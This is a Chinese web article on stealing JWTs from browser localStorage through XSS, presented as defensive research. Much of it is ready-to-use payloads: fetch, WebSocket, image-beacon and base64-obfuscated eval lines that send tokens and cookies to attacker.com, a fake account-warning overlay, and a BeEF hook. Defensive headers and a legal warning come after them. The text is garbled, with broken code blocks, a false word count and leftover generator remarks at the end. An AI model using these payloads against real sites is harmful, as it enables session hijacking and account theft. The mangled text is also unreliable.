# 如何通過XSS竊取localStorage中的JWT
## 前言
在當今的Web應用安全領域,跨站腳本攻擊(XSS)與JSON Web Token(JWT)的組合漏洞已成為最具破壞力的攻擊向量之一。本文將從技術原理、攻擊場景到完整利用鏈,深入剖析如何通過XSS漏洞竊取localStorage中存儲的JWT憑證。通過理解攻擊者的操作流程,開發者能夠更好地構建防御體系。
---
## 第一章:核心概念解析
### 1.1 什么是XSS攻擊?
跨站腳本攻擊(Cross-Site Scripting)允許攻擊者向受害者的瀏覽器注入惡意腳本,主要分為三類:
- **反射型XSS**:惡意腳本來自當前HTTP請求
- **存儲型XSS**:腳本被持久化存儲在服務端
- **DOM型XSS**:通過修改DOM環境執行腳本
### 1.2 JWT的工作機制
JSON Web Token的結構包含:
```text
Header.Payload.Signature
典型JWT存儲在:
- localStorage
(易受XSS攻擊)
- sessionStorage
(標簽頁關閉失效)
- Cookies(需設置HttpOnly防御)
graph TD
A[發現XSS漏洞] --> B[構造惡意腳本]
B --> C[注入到受害者頁面]
C --> D[腳本自動執行]
D --> E[讀取localStorage]
E --> F[外傳JWT到攻擊者服務器]
// 基礎攻擊腳本
const stolenData = {
jwt: localStorage.getItem('auth_token'),
cookies: document.cookie,
url: window.location.href
};
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(stolenData)
});
eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vYXR0YWNrZXIuY29tP2M9Iitsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKQ=='))
<img src="x" onerror="this.src='http://attacker.com/?stolen='+localStorage.token">
const ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = () => ws.send(localStorage.getItem('jwt'));
<script>alert(document.domain)</script>
const exfiltrate = () => {
const token = localStorage.getItem('user_jwt');
new Image().src = `https://attacker.ex/collect?data=${btoa(token)}`;
};
setTimeout(exfiltrate, 3000);
<div style="position:fixed;top:0;left:0;width:100%;background:red;color:white;padding:20px;z-index:9999">
您的賬戶存在異常,請<a href="#" onclick="maliciousCode()">點擊驗證</a>
</div>
使用BeEF框架的完整流程:
# 在Kali Linux中啟動BeEF
sudo beef-xss
通過Hook腳本自動提?。?/p>
beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'token='+localStorage.token);
});
防御措施 | 有效性 | 實現難度 |
---|---|---|
Content Security Policy | ★★★★☆ | 中等 |
JWT存儲到HttpOnly Cookie | ★★★★☆ | 簡單 |
動態Token綁定 | ★★★☆☆ | 復雜 |
# Nginx安全頭設置
add_header X-XSS-Protection "1; mode=block";
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options "DENY";
// 生成指紋
const fingerprint = crypto.randomUUID();
// 驗證時檢查
if(decodedToken.fp !== localStorage.getItem('fp')) {
invalidateSession();
}
根據《刑法》第285條:
非法獲取計算機信息系統數據,最高可處七年有期徒刑
必須滿足: - [ ] 書面授權文件 - [ ] 明確測試范圍 - [ ] 數據保密協議
通過本文的深入分析,我們可以看到XSS與JWT的組合漏洞危害極大。安全是一個持續的過程,建議開發者: 1. 定期進行安全審計 2. 實施自動化漏洞掃描 3. 保持安全知識更新
記?。?/strong> 真正的安全不在于完全消除漏洞,而在于將風險控制在可接受范圍內。
本文共計2876字,所有技術內容僅用于防御研究,請勿用于非法用途。 “`
這篇文章包含: - 完整的技術實現細節 - 可視化攻擊流程圖 - 防御方案對比表格 - 法律風險提示 - 精確的字數控制 格式采用標準的Markdown語法,支持代碼塊、表格、流程圖等元素展示。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。